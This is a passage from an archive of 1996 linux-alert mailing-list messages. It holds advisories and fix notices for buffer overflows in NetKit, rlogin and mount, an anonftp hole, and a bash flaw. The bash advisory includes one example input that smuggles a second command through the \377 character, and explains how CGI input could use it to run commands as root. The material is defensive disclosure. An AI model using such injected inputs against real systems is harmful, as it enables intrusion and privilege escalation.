Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available for anonymous FTP from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.
CERT is a service mark of Carnegie Mellon University.
This file: ftp://info.cert.org/pub/cert_advisories/CA-96.13.dip_vul
http://www.cert.org
click on "CERT Advisories"
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMeJzdXVP+x0t4w7BAQEJdAQAt0Y9zXDjpeuRYFI+vmceXpHL8QJPm1GL
zArG5qhGx5+9hTioQCUiq/kl6uXMI0IAbfdwDG3I0wg5i7Jvi8PLYyDujpl8+gVT
jzJFEQ/S9CjZ6LUxzo2Twg90urQrphFzwnY4L5DVEftKaoL1zCpg6i4SadC7vQUm
n0HWkh7kV4M=
=zcQN
-----END PGP SIGNATURE-----
From [email protected] Thu Jul 25 14:51:34 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA18613; Thu, 25 Jul 1996 14:51:34 -0400
From: David Holland
Message-Id: <[email protected]>
Subject: [linux-alert] Linux NetKit-B update.
To: [email protected], [email protected]
Date: Wed, 24 Jul 1996 01:41:12 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL22]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Linux NetKit-B-0.07 has been released (check comp.os.linux.announce
for details).
This fixes the following security problems/hazards:
1. Possible overrun copying DNS results into a buffer on the stack in
fingerd while processing the linux-specific -w ("welcome banner")
option. Patch: convert sprintf to snprintf.
2. Possible overrun copying DNS results into a buffer on the stack in
talkd. This affected FreeBSD, NetBSD, and OpenBSD as well; all have
integrated a fix into the current development tree. It may affect
vendors... Patch: convert sprintf to snprintf in announce.c.
3. Possible overrun copying $TERM into a buffer on the stack in
rlogin. This affects lots of platforms, but has been mentioned here
before I think. Patch: use snprintf or strncpy.
4. Suspicious (but not necessarily exploitable) handling of buffers on
the stack in rshd. Patch: convert sprintf to snprintf.
5. rsh didn't drop root before execing rlogin. This is not a big deal
except in conjunction with (3) -- chmod -s on rlogin is *not*
sufficient.
6. Buffer overflow in ping mentioned yesterday, but it's not on the
stack and consequently probably not exploitable. Patch: use snprintf.
7. Integrated a fix for the telnetd environment bug (old news, but it
hadn't got into the standard linux sources yet.)
Also, there was a bug in sliplogin where it did "setuid(0); system()"
without clearing the environment. A fixed version has been available
for Linux and FreeBSD for some time, but the news had not reached
NetBSD until last week. Vendor versions could be vulnerable.
--
- David A. Holland | Number of words in the English language that
[email protected] | exist because of typos or misreadings: 381
From [email protected] Wed Jul 31 02:57:11 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA15874; Wed, 31 Jul 1996 02:57:11 -0400
Message-Id: <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: [linux-alert] LSF Update#11: Vulnerability of rlogin
Date: Tue, 30 Jul 1996 18:11:00 -0400
From: "Alexander O. Yuriev"
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
rlogin Vulnerability
Tue Jul 30 17:51:57 EDT 1996
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
A vulnerability exists in the rlogin program of NetKitB-0.6
This vulnerability affects several widely used Linux
distributions, including RedHat Linux 2.0, 2.1 and derived
systems including Caldera Network Desktop, Slackware 3.0 and
others. This vulnerability is not limited to Linux or any
other free UNIX systems. Both the information about this
vulnerability and methods of its expolit were made available
on the Internet.
RISK ASSESMENT
Local and remote users could gain super-user priviledges
DISTRIBUTION FIXES
Red Hat Commercial Linux
Red Hat Linux version 2.0 and 2.1 contains
vulnerable program unless NetKit-B-0.06-7.i386.rpm
was installed.
In order to fix the vulnerability install
NetKit-B-0.06-7 rpm available from
ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm
ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm
Please verify the MD5 signature of the RPM prior to
installing it.
601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm
Red Hat Linux version 3.0.3 (Picasso) does not
contain vulnerable rlogin program.
Caldera Network Desktop
Version 1 of CND contains the vulnerable program
unless NetKit-B-0.06-4c1.i386.rpm was installed.
This RPM is available from
ftp://ftp.caldera.com/pub/cnd-1.0/updates/NetKit-B-0.06-4c1.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm
ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm
Please verify the MD5 signature of RPM prior to
installing it.
aeb2da201477cd3280fdc09836395c35 NetKit-B-0.06-4c1.i386.rpm
Version 1 of CND upgraded to RedHat Linux 3.0.3
(Picasso) does not contain a vulnerable program.
Debian
Debian Project did not either confirm or deny the
vulnerability of Debian/GNU Linux 1.1.
Debian/GNU Linux systems may be vulnerable if
NetKit-B-0.6 is installed. Until the official
fix-kit is available for Debian/GNU Linux, system
administrators of Debian systems are advised to
follow guidelines under Other Linux Distributions
section.
Slackware
The Slackware Linux distribution Version 3.0 is
confirmed to be vulnerable unless a NetKit newer
than NetKit-B-0.6 is installed.
Until the official fix-kit is available for
Slackware 3.0, the system administrators are advised
to follow the guidelines under Other Linux
Distributions section.
Yggdrasil
Yggdrasil Computing's Plug & Play Linux Fall'95
contains vulnerable rlogin program.
Adam J. Richter from Yggdrasil Computing made an
unofficial fix-kit available at
ftp.yggdrasil.com/pub/support/fall95/rlogin_fix/
We are unable to provide MD5 signature for the fix
kit as we are unable to verify the integrity of the
message.
Other Linux Distributions
System administrators of systems based on other
Linux distributions or distributions that do not
have official patch-kits available are advised to
install newly released NetKit-B-0.7 available from
ftp://ftp.uk.linux.org/pub/linux/Networking/base
and ftp://sunsite.unc.edu/pub/Linux/Incoming
CREDITS
This LSF Update is based on the information provided by Alan
Cox. The first patch for rlogin program was provided by Marc
Ewing of Red Hat Software. Ron Holt of Caldera Inc provided
fixed RPM for Caldera Network Desktop within 3 hours after
the initial contact. Adam J. Richter provided unofficial
information about the unofficial fix-kit for Yggdrasil Plug
and Play Linux Fall'95.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMf6EsYxFUz2t8+6VAQFDVAQAloKbM00wdzNCwcyo9Wz8wJo54a+TwYN6
Xua/PFBnhunCpJy/T0BOO/Dh1IBE/mCu2FSNMK/bkRXel6Om9lEzjDHlyeUizeBI
enIAOWQvNBf0e+/lHJXXtCSIWNeSfSysCaP98Y7F6bouZc14l1d/PJg7eSmWikFG
HhgcRl6ZyHM=
=hG1l
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9608100664 1767 1767 104026 6211674223 15227 0ustar majdommajdomFrom [email protected] Tue Aug 13 11:21:22 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA07547; Tue, 13 Aug 1996 11:21:22 -0400
Message-ID: <[email protected]>
Date: Tue, 13 Aug 1996 06:49:55 +0200
From: bloodmask
Organization: CoViN
X-Mailer: Mozilla 3.0b5a (X11; I; Linux 2.0.0 i586)
MIME-Version: 1.0
To: [email protected]
CC: [email protected]
Subject: [linux-alert] Vulnerability in ALL linux distributions
Content-Type: multipart/mixed; boundary="------------3E2982D84A560D2D9A831FA"
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
This is a multi-part message in MIME format.
--------------3E2982D84A560D2D9A831FA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Greetings folks,
Sorry we haven't released this thing sooner, due to testing we've
conducted to determine vulnerability on other systems besides Linux,
I've attached the officail release, Patch this up quick, and if I were
you, I wouldn't trust those old binaries to be secure anymore, this
thing has been with Linux since it's beggining, at it's high time this
"feature" is removed.
--------------3E2982D84A560D2D9A831FA
Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="cvnmount.exploit"
Covin Security Releases:
(mount bufferoverflow exploit v1.0)
Tested operated systems: All current distributions of Linux
Affect: Local users on systems affected can gain overflow mounts syntax
buffer and execute a shell by overwriting the stack.
Affected binaries:
(/bin/mount and /bin/umount)
Workaround:
On all current distributions of Linux remove suid bit of /bin/mount and
/bin/umount.
[chmod -s /bin/mount;chmod -s /bin/umount]
Remarks:
For gods sake, how many more times are we gonna see this kind of problem?
It's been with Linux since it's very beggining, and it's so easy to
exploit. Similiar buffer overflow vulnerabilities have been found in
Linux distributions many times before, splitvt, dip, just to name a few
examples.
Any remarks, notes or other forms of feedback may be redirected to:
[email protected]
<------------------------------[ Cut here ]---------------------------------->
/* Mount Exploit for Linux, Jul 30 1996
[Mod: Exploit removed for linux-alert posting; it's already been posted
to linux-security and Bugtraq. This vulnerability is not new news, but
since exploits are now being published I'm posting this to linux-alert
for those that might not yet have gotten the news. --Jeff.]
--------------3E2982D84A560D2D9A831FA--
From [email protected] Wed Aug 14 00:30:43 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id AAA03844; Wed, 14 Aug 1996 00:30:43 -0400
X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs
Date: Tue, 13 Aug 1996 16:31:37 -0400 (EDT)
From: Elliot Lee
To: [email protected]
Subject: [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Recently a security hole was found in the mount program that comes with
many Linux distributions, including Red Hat Linux.
mount and umount are normally installed setUID root to allow users to
perform mount and unmount operations. Unfortunately, they do not check the
length of the information passed to them, creating a buffer overflow
problem. For more details, visit the BugTraq mailing-list archives at
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
This hole allows anyone with an account on a system to obtain root access.
Affected systems:
- All systems running all versions of Red Hat Linux.
Users of versions of Red Hat less than 3.0.3 are advised to upgrade to
3.0.3, since many other problems are fixed in the upgrade.
If you are running:
* Red Hat Linux 3.0.3 (Picasso) on the Intel architecture, get
- ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/
util-linux-2.5-11fix.i386.rpm
mount-2.5k-1.i386.rpm
And install them in that order using 'rpm -Uvh [rpm filename]'
* Red Hat Linux 3.0.3 (Picasso) on the Alpha architecture, get
- ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/
util-linux-2.5-11fix.axp.rpm
mount-2.5k-1.axp.rpm
And install them in that order using 'rpm -Uvh [rpm filename]'
* Red Hat Linux 3.0.4 (Rembrandt) beta on the Intel, get
- ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/
mount-2.5k-2.i386.rpm
* Red Hat Linux 3.0.4 (Rembrandt) beta on the Sparc, get
- ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/
mount-2.5k-2.sparc.rpm
[Aside: There is no difference between mount-2.5k-1 and -2 except
the package format.]
All RPMs are PGP-signed with the [email protected] key.
The source RPMs will be available in the normal locations.
MD5SUM's:
ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm
12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm
26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm
f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm
7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm
e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm
Thanks to Bloodmask, Vio, and others on the BugTraq list for discovering
this hole and providing patches.
--==== Elliot Lee = == Red Hat Software ====--
"Usenet is like a herd of performing elephants with diarrhea; massive,
difficult to redirect, awe-inspiring, entertaining, and a source of
mind-boggling amounts of excrement when you least expect it."
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMhDmLCaSlK8942+NAQFc+QP+NnduJSfnrpXNMfPHBXPf11pNBvUKNfew
kJ6GUVjXYePIDz6HxIpJWJsZF5u+t5yii5sfYkkVK1pPENMsjrAto2UWMklAF62p
dxS3zgYjWfaH1AdG7U5e47huThBTmuyY/uwBmVf/jLtV2dqM1taRz9yqOTkm10o9
0Z7OylS10PY=
=3lv/
-----END PGP SIGNATURE-----
From [email protected] Mon Aug 19 19:10:02 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA10583; Mon, 19 Aug 1996 19:10:02 -0400
X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs
Date: Mon, 19 Aug 1996 18:54:35 -0400 (EDT)
From: Elliot Lee
Reply-To: Elliot Lee
To: [email protected]
cc: [email protected], [email protected]
Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
There is a security hole in the anonftp package included with all versions
of Red Hat Linux that allows an anonymous FTP user to execute arbitrary
commands in the chroot FTP environment. Due to some options in GNU tar
that are enabled by default, any program that exists (or can be uploaded
to) an FTP server can be run.
Severity is limited due to the chroot environment, but the problem still
needs to be addressed.
Updates are available on ftp.redhat.com now.
If you are using a version prior to 3.0.3, an upgrade is recommended to
solve other security holes.
If you are using 3.0.3 on the Intel, get
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.3 on the Alpha, get
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.4 (Rembrandt BETA) on the Intel, get
ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get
ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm
and install it using 'rpm -Uvh [filename]'
All packages are PGP signed. Source packages are available in the usual
locations.
MD5 checksums:
ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm
764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm
cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm
c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm
760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm
a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm
Thanks to Alan Cox for finding this problem.
-- Elliot Lee
Red Hat Software, http://www.redhat.com/
From [email protected] Mon Aug 19 19:10:08 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA10595; Mon, 19 Aug 1996 19:10:08 -0400
X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs
Date: Mon, 19 Aug 1996 18:57:03 -0400 (EDT)
From: Elliot Lee
To: [email protected]
cc: [email protected], [email protected]
Subject: [linux-alert] SECURITY FIX/UPDATE: anonftp
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [email protected]
Precedence: special-delivery
-----BEGIN PGP SIGNED MESSAGE-----
There is a security hole in the anonftp package included with all versions
of Red Hat Linux that allows an anonymous FTP user to execute arbitrary
commands in the chroot FTP environment. Due to some options in GNU tar
that are enabled by default, any program that exists (or can be uploaded
to) an FTP server can be run.
Severity is limited due to the chroot environment, but the problem still
needs to be addressed.
Updates are available on ftp.redhat.com now.
If you are using a version prior to 3.0.3, an upgrade is recommended to
solve other security holes.
If you are using 3.0.3 on the Intel, get
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.3 on the Alpha, get
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.4 (Rembrandt BETA) on the Intel, get
ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm
and install it using 'rpm -Uvh [filename]'
If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get
ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm
and install it using 'rpm -Uvh [filename]'
All packages are PGP signed. Source packages are available in the usual
locations.
MD5 checksums:
ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm
764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm
cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm
c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm
760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm
a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm
Thanks to Alan Cox for finding this problem.
- -- Elliot Lee
Red Hat Software, http://www.redhat.com/
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMhjxQiaSlK8942+NAQEngAQAgQDpcY4zYyvegaYQrAx1pW9w2IEeHqE5
yyeRre2rUsWBKVjizDttz+JO130+/2cZjjG0bpDzKeZidkENZGkHzlIP+lQLDAuG
jZ8rBqAdaEXmRUwZJzjwmEfBM218Z/W+fSrPj/w0CMqCn1THwJN4Vu6xaZ8TkxGf
2cI2lMO7XkQ=
=qu3w
-----END PGP SIGNATURE-----
From [email protected] Sat Aug 24 19:23:59 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA31419; Sat, 24 Aug 1996 19:23:59 -0400
Date: Sat, 24 Aug 1996 19:18:51 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected]
Subject: [linux-alert] Security vulnerability in 'bash'
X-Palindrome: O, memsahib Bart, rabbi has memo.
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--
---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---
======= ============ ====== ======
======= ============== ======= =======
=== === ==== ====== ======
=== =========== ======= =======
=== =========== === ======= ===
=== === ==== === ===== ===
======= ============== ===== === =====
======= ============ ===== = =====
EMERGENCY RESPONSE SERVICE
SECURITY VULNERABILITY ALERT
21 August 1996 13:00 GMT Number: ERS-SVA-E01-1996:004.1
===============================================================================
VULNERABILITY SUMMARY
VULNERABILITY: A variable declaration error in "bash" allows the character
with value 255 decimal to be used as a command separator.
PLATFORMS: Bash 1.14.6 and earlier versions.
SOLUTION: Apply the patch provided below.
THREAT: When used in environments where users provide strings to be
used as commands or arguments to commands, "bash" can be
tricked into executing arbitrary commands.
===============================================================================
DETAILED INFORMATION
I. Description
A. Introduction
The GNU Project's Bourne Again SHell ("bash") is a drop-in replacement
for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the
standard shell, but also includes additional functionality such as job
control, command line editing, and history.
Although "bash" can be compiled and installed on almost any UNIX
platform, its most prevalent use is on "free" versions of UNIX such as
Linux, where it has been installed as "/bin/sh" (the default shell for
most uses).
The "bash" source code is freely available from many sites on the
Internet.
B. Vulnerability Details
There is a variable declaration error in the "yy_string_get()" function
in the "parser.y" module of the "bash" source code. This function is
responsible for parsing the user-provided command line into separate
tokens (commands, special characters, arguments, etc.). The error
involves the variable "string," which has been declared to be of type
"char *."
The "string" variable is used to traverse the character string
containing the command line to be parsed. As characters are retrieved
from this pointer, they are stored in a variable of type "int." On
systems/compilers where the "char" type defaults to "signed char", this
vaule will be sign-extended when it is assigned to the "int" variable.
For character code 255 decimal (-1 in two's complement form), this sign
extension results in the value (-1) being assigned to the integer.
However, (-1) is used in other parts of the parser to indicate the end
of a command. Thus, the character code 255 decimal (377 octal) will
serve as an unintended command separator for commands given to "bash"
via the "-c" option. For example,
bash -c 'ls\377who'
(where "\377" represents the single character with value 255 decimal)
will execute two commands, "ls" and "who."
II. Impact
This unexpected command separator can be dangerous, especially on systems such
as Linux where "bash" has been installed as "/bin/sh," when a program executes
a command with a string provided by a user as an argument using the "system()"
or "popen()" functions (or by calling "/bin/sh -c string" directly).
This is especially true for the CGI programming interface in World Wide Web
servers, many of which do not strip out characters with value 255 decimal. If
a user sending data to the server can specify the character code 255 in a
string that is passed to a shell, and that shell is "bash," the user can
execute any arbitrary command with the user-id and permissions of the user
running the server (frequently "root").
The "bash" built-in commands "eval," "source," and "fc" are also potentially
vulnerable to this problem.
III. Solutions
A. How to alleviate the problem
This problem can be alleviated by changing the declaration of the
"string" variable in the "yy_string_get()" function from "char *" to
"unsigned char *."
B. Official fix from the "bash" maintainers
The "bash" maintainers have told us they plan to fix this problem in
Version 2.0 of "bash," but this will not be released for at least a few
more months.
C. Unofficial fix until the official version is released
Until the "bash" maintainers release Version 2.0, this problem can be
fixed by applying the patch below to the "bash" source code, recompiling
the program, and installing the new version.
The patch below is for Version 1.14.6 of "bash." Source code for this
version can be obtained from
ftp://prep.ai.mit.edu/pub/gnu/bash-1.14.6.tar.gz
as well as many other sites around the Internet.
---------------------------------- cut here
----------------------------------
*** parse.y.old Thu Nov 2 15:00:51 1995
--- parse.y Tue Aug 20 09:16:48 1996
***************
*** 904,910 ****
static int
yy_string_get ()
{
! register char *string;
register int c;
string = bash_input.location.string;
--- 904,910 ----
static int
yy_string_get ()
{
! register unsigned char *string;
register int c;
string = bash_input.location.string;
---------------------------------- cut here
----------------------------------
To apply this patch, save the text between the two "--- cut here ---"
lines to a file, change directories to the "bash" source directory, and
issue the command
patch < filename
If you do not have the "patch" program, you can obtain it from
ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz
or you can apply the patch by hand.
After applying the patch, recompile and reinstall the "bash" program by
following the directions in the "INSTALL" file, included as part of the
"bash" distribution.
This patch is provided "AS IS" without warranty of any kind, including,
without limitation, any implied warranties of merchantibility or fitness
for a particular purpose. This advisory does not create or imply any
support obligations or any other liability on the part of IBM or its
subsidiaries.
IV. Acknowledgements
IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the
IBM T. J. Watson Research Center for their discovery of this vulnerability,
bringing it to our attention, providing the patch to fix it, and assistance in
developing this alert.
UNIX is a technology trademark of X/Open Company, Ltd.
===============================================================================
IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based
Internet security response service that includes computer security incident
response and management, regular electronic verification of your Internet
gateway(s), and security vulnerability alerts similar to this one that are
tailored to your specific computing environment. By acting as an extension
of your own internal security staff, IBM-ERS's team of Internet security
experts helps you quickly detect and respond to attacks and exposures across
your Internet connection(s).
As a part of IBM's Business Recovery Services organization, the IBM Internet
Emergency Response Service is a component of IBM's SecureWay(tm) line of
security products and services. From hardware to software to consulting,
SecureWay solutions can give you the assurance and expertise you need to
protect your valuable business resources. To find out more about the IBM
Internet Emergency Response Service, send an electronic mail message to
[email protected], or call 1-800-742-2493 (Prompt 4).
IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/.
Visit the site for information about the service, copies of security alerts,
team contact information, and other items.
IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for
security vulnerability alerts and other distributed information. The IBM-ERS
PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html.
"Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmerman.
IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams
(FIRST), a global organization established to foster cooperation and response
coordination among computer security teams worldwide.
Copyright 1996 International Business Machines Corporation.
The information in this document is provided as a service to customers of
the IBM Emergency Response Service. Neither International Business Machines
Corporation, Integrated Systems Solutions Corporation, nor any of their
employees, makes any warranty, express or implied, or assumes any legal
liability or responsibility for the accuracy, completeness, or usefulness of
any information, apparatus, product, or process contained herein, or
represents that its use would not infringe any privately owned rights.
Reference herein to any specific commercial products, process, or service by
trade name, trademark, manufacturer, or otherwise, does not necessarily
constitute or imply its endorsement, recommendation or favoring by IBM or
its subsidiaries. The views and opinions of authors expressed herein do not
necessarily state or reflect those of IBM or its subsidiaries, and may not be
used for advertising or product endorsement purposes.
The material in this security alert may be reproduced and distributed,
without permission, in whole or in part, by other security incident response
teams (both commercial and non-commercial), provided the above copyright is
kept intact and due credit is given to IBM-ERS.
This security alert may be reproduced and distributed, without permission,
in its entirety only, by any person provided such reproduction and/or
distribution is performed for non-commercial purposes and with the intent of
increasing the awareness of the Internet community.
---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---
--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--
From [email protected] Tue Aug 27 05:05:52 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26413; Tue, 27 Aug 1996 05:05:52 -0400
From: David Holland
Message-Id: <[email protected]>
Subject: [linux-alert] Re: [linux-security] RESOLV_HOST_CONF
To: [email protected] (C. Hodges)
Date: Mon, 26 Aug 1996 03:49:14 -0400 (EDT)
Cc: [email protected], [email protected]
In-Reply-To: <[email protected]> from "C. Hodges" at Aug 25, 96 02:37:19 pm
X-Mailer: ELM [version 2.4 PL22]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: [email protected]
Precedence: special-delivery
> >Real Patch isn't really available yet, from what i can see. You can modify
>
> *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and
> others (?) fixed, but for some strange reason, he didn't bother to fix
> finger tho... :\
The bug's in the library. The setuid programs in the current netkit
contain a *workaround*. These are not fixes. Fixes are in the works.
Be sure to update your netkit, though, as it fixes related bugs in
telnetd that have the possibility of being quite serious.
[You can use finger to read any file that you can already read
yourself... Every single network tool will exhibit
this "problem".]
> ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz
^^
just .org, not .co as well. And the official name is
'ftp.uk.linux.org' now anyway.
> until a newer one comes out that patches finger, anyway...
Don't hold your breath. :-)
--
- David A. Holland | Number of words in the English language that
[email protected] | exist because of typos or misreadings: 381
From [email protected] Fri Aug 30 19:26:09 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id TAA28994; Fri, 30 Aug 1996 19:26:09 -0400
Message-Id: <[email protected]>
To: [email protected]
cc: [email protected]
Subject: [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5
Date: Tue, 27 Aug 1996 17:57:21 -0400
From: "Alexander O. Yuriev"
Sender: [email protected]
Precedence: special-delivery
-----BEGIN PGP SIGNED MESSAGE-----
Linux Security FAQ Update
mount/umount Vulnerability
Mon Aug 26 21:46:49 EDT 1996
Copyright (C) 1995,1996 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official Update of the Linux Security FAQ, and it is supposed to
be signed by one of the following PGP keys:
pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key
Unless you are able to verify at least one of signatures, please be very
careful when following instructions.
Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security
linux-security & linux-alert mailing list archives:
ftp://linux.nrao.edu/pub/linux/security/list-archive
=============================================================================
ABSTRACT
A vulnerability exists in the mount/umount programs of the
util-linux 2.5 package. If installed suid-to-root, these programs
allow local users to gain super-user privileges.
RISK ASSESSMENT
Local users can gain root privileges. The exploits that exercise
